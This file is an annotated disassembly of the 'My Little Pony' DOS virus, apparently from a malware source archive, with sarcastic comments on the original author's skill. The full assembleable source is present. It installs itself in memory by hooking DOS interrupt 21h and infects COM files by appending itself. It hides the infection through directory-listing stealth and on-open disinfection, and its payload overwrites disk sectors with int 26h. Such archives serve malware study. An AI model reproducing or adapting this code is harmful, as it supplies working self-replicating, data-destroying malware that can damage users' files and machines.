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https://github.com/vxunderground/MalwareSourceCode
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778 lines
16 KiB
NASM
778 lines
16 KiB
NASM
;My Little Pony v1.00 disassembly - sort of.
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;By Cruel Entity of ANOI. Related to CyberCide.
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;Well, the comments are a bit bitchy, probably coz I was in a really
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;really bad mood when I wrote them. The virus author, Cruel Entity,
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;knows how to make a nice virus, he just doesn't have enough assembly
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;experience to make something really worth while, imho of course.
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;Bummer: Still some loc_xxx's left, hrmpf, I won't care if you don't.
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;Just dump this one in your misc. garbage area dude.. :-)
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.model tiny
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.code
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org 100h
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start:
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call get_relative
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get_relative:
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pop bp
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mov ax,0DD22h
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int 21h ;Installation check.
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cmp ax,3D33h
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jne not_installed
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;* lea dx, [bp+restore_carrier-get_relative]
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db 08dh, 56h, 52h
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jmp dx
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not_installed:
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mov ax,3521h
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int 21h ;Get int21 vector
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mov [bp+int21offset-get_relative],bx
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mov [bp+int21seg-get_relative],es ;Store it.
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mov ax,cs
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dec ax
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mov es,ax ;ES:0 points to MCB.
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mov ax,es:[3]
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sub ax,[bp+parasize-get_relative]
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mov es:[3],ax ;Shrink blocksize.
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mov ax,[bp+parasize-get_relative]
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sub es:[12h],ax ;Free top mem.
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mov es,es:[12h]
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push es
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lea si,[bp-3] ;SI points to start of
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;virus.
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mov di,100h
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mov cx,[bp+virussize-get_relative]
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rep movsb ;Copy virus up there.
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pop ds
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mov ax,2521h
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mov dx, offset int21
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int 21h ;Set new int21 vector.
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restore_carrier:
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push cs
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push cs
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pop ds
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pop es
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lea si,[bp+restore_bytes-get_relative]
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mov cx,3
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mov di,100h
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rep movsb ;Restore host.
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sub di,3
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jmp di ;Restart host.
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db 'Simple Simon met a pieman going to the fair said Simple Simon to '
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db 'the pieman let me take your ware'
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activate:
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cmp dh,0 ;Seconds 0?
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jne no_activate
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cmp dl,5 ;Hundredth's less than 5?
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ja no_activate
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pushf
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push bx
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call get_random
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mov cx,0Ah
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xor dx,dx
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div cx
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mov dx,ax
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mov al,2
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mov cx,1
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mov bx,offset anoi
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kill_sector:
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int 26h ;Sector write.
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popf
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inc al
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cmp al, 25
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jne kill_sector
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pop bx
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popf
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jmp short no_activate
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db '(c)1993 Cruel Entity'
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int21:
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pushf
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cmp ax, 0dd22h
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jz inst_chk
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cmp ah,11h
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jz fcb_stealth
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cmp ah,12h
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jz fcb_stealth
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cmp ah,4eh
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jz go_handle_stealth
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cmp ah,4fh
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jz go_handle_stealth
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cmp ah,3dh
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jz go_file_open
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cmp ah,3eh
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jz go_file_close
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cmp ah,2ch
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jz get_time
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push ax
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push cx
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push dx
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mov ah, 2ch ;Get DOS time.
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int 21h
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cmp cl,0
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jz activate
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no_activate:
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pop dx
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pop cx
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pop ax
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get_time:
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cmp ah,36h
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jne _pass_int
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push bp
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mov bp,offset loc_20
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jmp bp
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_pass_int:
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popf ; Pop flags
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pass_int:
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db 0eah
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int21offset dw 0
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int21seg dw 0
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go_handle_stealth:
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push bp
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mov bp,offset handle_stealth
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jmp bp
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go_file_open:
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push bp
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mov bp,offset file_open
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jmp bp
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go_file_close:
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push bp
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mov bp,offset file_close
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jmp bp
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inst_chk:
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popf
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mov ax,3D33h
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iret
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call_dos:
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jmp dword ptr cs:[int21offset]
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db 0C3h
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fcb_stealth:
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popf
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pushf
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push cs
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call call_dos ;First let's see what
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;DOS has to say..
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cmp al,0FFh ;0FFH indicates
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;no match found
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je exit_fcb_stealth
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match_found:
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pushf
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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push ds
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push es
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push bp ;Push the lot.
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mov ah,2Fh
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int 21h ;Get DTA
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push es
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pop ds ;DS:BX points to DTA.
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mov si,bx ;DS:SI points to DTA.
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add si,10h ;SI points to extension.
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;<EXTENDED FCB ONLY!>
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;(lamer)
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lodsw
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cmp ax,'OC' ;Extension starts with CO?
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jne no_fcb_stealth
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lodsb
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cmp al,'M' ;Last char M?
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jne no_fcb_stealth
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mov si,bx
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add si,26h ;I don't mean to sound
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;bitchy, but IMO,
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;ADD SI, 13h would've
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;been what normal persons
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;would've done.
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;Offset 26h is a reserved
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;position within an
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;extended FCB.
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;<INFECTION MARK>
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lodsw
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cmp ax,0 ;OR AX,AX? Naaaah!
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jne no_fcb_stealth
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mov si,bx
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add si,1Eh ;offset 1eh is the high
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;byte of file time.
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lodsw
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and al,1Fh
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cmp al,0Ah
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je proceed_fcb_stealth
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mov dx,offset loc_17
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jmp dx
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proceed_fcb_stealth:
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mov si,bx
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add si,24h ;If I remember correctly,
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;this is an undocumented
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;copy of the filesize within
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;the FCB structure. THIS
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;is the value that is
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;printed in a dir listing.
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mov di,si
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lodsw
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sub ax,cs:virussize ;Hm, I can't seem to figure
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jz no_fcb_stealth ;out if this guy is just
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stosw ;stupid or ignorant when it
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;comes to asm.
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no_fcb_stealth:
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pop bp
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pop es
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pop ds
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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popf
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exit_fcb_stealth:
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retf 2
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db '%%% MY LITTLE PONY %%% '
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db 'COPYRIGHT(C) 1993 A.N.O.I. %%%'
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loc_17:
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mov si,bx
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add si,8
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push cs
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pop es
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mov cx,0Ah
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mov di,offset something
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locloop_18:
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cmp byte ptr es:[di],' '
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je loc_19
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add di,8
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loop locloop_18
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jmp short no_fcb_stealth
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loc_19:
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mov cx,8
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rep movsb
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jmp short no_fcb_stealth
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loc_20:
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pop bp
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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push ds
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push es
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push bp ;Push some regs.
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push cs
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push cs
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pop ds
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pop es
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mov di,offset something
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mov cx,0Ah
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locloop_21:
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cmp byte ptr [di],' '
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je loc_22
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push di
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push cx
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mov si,di
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call try_infect
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pop cx
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pop di
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add di,8
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loop locloop_21
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loc_22:
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push cs
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pop es
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mov di,offset something
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mov cx,5Ch
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mov al,' '
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rep stosb
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pop bp
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pop es
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pop ds
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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popf
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jmp pass_int
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try_infect: ;JESUS! It's actually
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;a subroutine!!
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;He knows what a sub
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;IS!! Wow! I'm shocked!
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mov di,offset filename
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mov cx,8
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copyloop2:
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lodsb
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cmp al,' '
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je endcopy2
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stosb
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loop copyloop2
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endcopy2:
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mov al,'.'
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stosb
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mov al,'C'
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stosb
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mov al,'O'
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stosb
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mov al,'M'
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stosb
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mov al,0
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stosb
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push cs
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pop ds
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mov ax,4300h
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mov dx,offset filename
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int 21h ;Get attributes.
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jnc got_attributes
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retn
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got_attributes:
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push cx
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xor cx,cx
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mov ax,4301h
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int 21h ;Zoink attributes.
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mov ax,3D02h
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mov dx,609h
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pushf ;Open file in read/write mode.
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push cs
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call call_dos
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mov bx,ax ;Handle to BX
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mov ax,5700h
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int 21h ;Get file date/time.
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push dx
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push cx
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and cl,1Fh
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cmp cl,0Ah
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jne continue_infect
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mov dx,offset exit_infect
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jmp dx
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continue_infect:
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mov ah,3Fh
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mov cx,3
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mov dx,offset restore_bytes
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int 21h ;Read first three bytes.
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mov ax,4202h
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xor dx,dx
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xor cx,cx
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int 21h ;Seek to EOF
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sub ax,3
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mov jmp_data,ax
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mov ah,40h
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mov dx,100h
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mov cx,virussize
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int 21h ;Append virus to file.
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mov ax,4200h
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xor dx,dx
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xor cx,cx
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int 21h ;Seek to start.
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mov ah,40h
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mov cx,3
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mov dx,offset jmp_op
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int 21h ;Overwrite with JMP
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exit_infect:
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pop cx
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pop dx
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and cl,0E0h
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or cl,0Ah
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mov ax,5701h
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int 21h ;Givvit the special date/time
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;already-infected type
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;designation treatment..
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mov ah,3Eh
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pushf
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push cs
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call call_dos ;CL00000000SE 'r up!
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mov ax,4301h
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mov dx,offset filename
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pop cx
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int 21h ;Restore kuhl attribs..
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ret
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handle_stealth:
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pop bp
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popf
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pushf
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push cs
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call call_dos
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jnc handle_match_found
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retf 2
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handle_match_found:
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pushf
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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push ds
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push es
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push bp ;Push the lot.
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mov ah,2Fh
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int 21h ;Get DTA
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push es
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pop ds ;DS:BX points to DTA.
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mov si,bx ;DS:SI points to DTA.
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push cs
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pop es
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add si,1Eh ;1eh is start of filename
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;within the DTA struct.
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mov di,offset filename
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mov cx,25
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copyloop:
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lodsb
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cmp al,0
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je end_copy ;Copy filename to buffer.
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stosb
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loop copyloop
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end_copy:
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mov al,0
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stosb ;Make it a valid ASCIIZ
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;string.
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push ds
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pop es
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push cs
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pop ds
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mov si,di
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sub si,4 ;Assume extension is three
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;characters.
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lodsw
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cmp ax,'OC'
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je starts_with_co
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cmp ax,'oc'
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jne no_handle_stealth
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starts_with_co:
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lodsb
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cmp al,'m'
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je com_file
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cmp al,'M'
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jne no_handle_stealth
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com_file:
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push es
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pop ds
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mov si,bx
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add si,1Ch ;High word of filesize.
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lodsw
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cmp ax,0 ;COM file -> not bigger
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;than 64 kb -> highword
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;=0. Just an additional
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;check. but OR AX,AX?
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;Cuz n0t!
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jne no_handle_stealth
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mov si,bx
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add si,16h ;File time.
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lodsw
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and al,1Fh
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cmp al,0Ah
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jne no_handle_stealth
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mov si,bx
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add si,1Ah ;Low word of filesize.
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mov di,si
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lodsw
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sub ax,cs:virussize
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jz no_handle_stealth
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stosw
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no_handle_stealth:
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pop bp
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pop es
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pop ds
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pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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popf
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retf 2
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file_open:
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pop bp
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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push bp
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push ds
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push es ;Save some regs.
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mov al,'.'
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push ds
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pop es
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mov di,dx ;ES:DI points to filename.
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mov cx,32h
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repne scasb ;Scan for '.'
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mov si,di
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lodsw
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cmp ax,'OC'
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je pffff_this_is_boring
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cmp ax,'oc'
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je pffff_this_is_boring
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mov dx,offset exit_disinfect
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jmp dx
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pffff_this_is_boring:
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lodsb
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cmp al,'m'
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je try_disinfect
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cmp al,'M'
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jne exit_disinfect
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try_disinfect:
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mov ax,3D02h
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pushf
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push cs
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call call_dos ;Open file in read/write
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;mode.
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jc exit_disinfect
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mov bx,ax ;Handle to BX.
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push cs
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pop ds
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push cs
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pop es
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mov ax,5700h
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int 21h ;Get file date/time.
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and cl,1Fh
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cmp cl,0Ah
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jne exit_disinfect
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mov ax,4202h
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xor dx,dx
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xor cx,cx ;CWD? naaaaaaaah!
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int 21h ;Seek to EOF
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push ax
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sub ax,3 ;Filesize-3
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mov dx,ax
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mov ax,4200h
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mov cx,0
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int 21h ;Seek to EOF-3.
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mov ah,3Fh
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mov cx,3
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mov dx,offset buf
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int 21h
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mov ax,4200h
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xor cx,cx
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xor dx,dx ;Boooooriiing.
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int 21h ;Seek to BOF BOF BOF.
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mov ah,40h
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mov cx,3
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mov dx,offset buf
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int 21h
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pop dx
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sub dx,virussize
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mov ax,4200h
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mov cx,0
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int 21h ;Seek to EOF-virussize.
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mov ah,40h
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mov cx,0
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int 21h ;Truncate file.
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mov ah,3Eh
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|
pushf
|
|
push cs
|
|
call call_dos ;close file.
|
|
exit_disinfect:
|
|
pop es
|
|
pop ds
|
|
pop bp
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
popf
|
|
pushf
|
|
push cs
|
|
call call_dos
|
|
retf 2
|
|
|
|
file_close:
|
|
pop bp
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push si
|
|
push di
|
|
push bp
|
|
push ds
|
|
push es ;Hmpf. I suppose nobody
|
|
;knows what subroutines
|
|
;are these days..
|
|
|
|
mov ax,1220h
|
|
int 2Fh
|
|
mov bl,es:[di]
|
|
mov ax,1216h
|
|
int 2Fh ;Awright, grabbed SFT ptr.
|
|
|
|
mov bp,di
|
|
add di,28h ;File extension.
|
|
|
|
push es
|
|
pop ds
|
|
mov si,di
|
|
lodsw
|
|
cmp ax,'OC' ;AAARRRGGHh wibble wibble!
|
|
;I can't take much more
|
|
;of diiizzzzzzzzzzzz..
|
|
jne exit_disinfect
|
|
lodsb
|
|
cmp al,'M'
|
|
jne exit_disinfect
|
|
|
|
mov si,bp
|
|
add si,20h ;Filename.
|
|
push cs
|
|
pop es
|
|
call try_infect ;HUUUH? A SUBROUTINE?
|
|
jmp short exit_disinfect
|
|
|
|
get_random:
|
|
push dx
|
|
push cx
|
|
push bx
|
|
in al,40h ;Timer data.
|
|
add ax,0
|
|
mov dx,0
|
|
mov cx,7
|
|
|
|
randomloop:
|
|
shl ax,1 ; Shift w/zeros fill
|
|
rcl dx,1 ; Rotate thru carry
|
|
mov bl,al
|
|
xor bl,dh
|
|
jns no_sign
|
|
inc al
|
|
no_sign:
|
|
loop randomloop
|
|
|
|
pop bx
|
|
mov al,dl
|
|
pop cx
|
|
pop dx
|
|
retn
|
|
|
|
anoi db '>>> A.N.O.I <<<'
|
|
|
|
buf db 3 dup (0)
|
|
|
|
virussize dw (endvirus-start)
|
|
|
|
parasize dw 'd'
|
|
|
|
something db ' '
|
|
db ' '
|
|
db ' '
|
|
|
|
filename db 12 dup (0)
|
|
|
|
jmp_op db 0E9h
|
|
jmp_data dw 0
|
|
restore_bytes db 90h
|
|
db 0CDh, 20h
|
|
endvirus:
|
|
|
|
end start
|